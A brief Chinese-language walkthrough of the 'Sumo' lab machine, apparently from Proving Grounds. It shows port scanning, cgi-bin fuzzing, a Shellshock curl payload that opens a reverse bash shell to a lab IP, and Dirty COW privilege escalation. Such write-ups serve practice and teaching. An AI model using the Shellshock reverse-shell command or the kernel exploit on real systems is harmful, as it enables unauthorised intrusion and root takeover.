PG::Sumo

nmap -Pn -p- -T4 --min-rate=1000 192.168.170.87

nmap -Pn -p 22,80 -sCV 192.168.170.87

查看80端口的页面，没有什么有用的信息

尝试路径爆破，发现了/cgi-bin目录，就想到了HTB中的Shocker靶机。

继续爆破
wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.170.87/cgi-bin/FUZZ.sh


通过爆破出的信息，进一步确认有Shellshock漏洞
参考 https://en.wikipedia.org/wiki/Shellshock_(software_bug)
尝试反弹shell

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.49.170/4444 0>&1'" http://192.168.170.87/cgi-bin/test.sh

上传linpeas脚本进行枚举

发现了可能利用的地方

内核版本很低，直接使用脏牛提权
https://www.exploit-db.com/raw/40839
下载文件至本地，并上传至靶机编译执行

编译时会遇到报“ld”的错误，设置路径变量就可以解决
export PATH=$PATH:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin

尝试su firefart，但是报错了，所以直接ssh登录。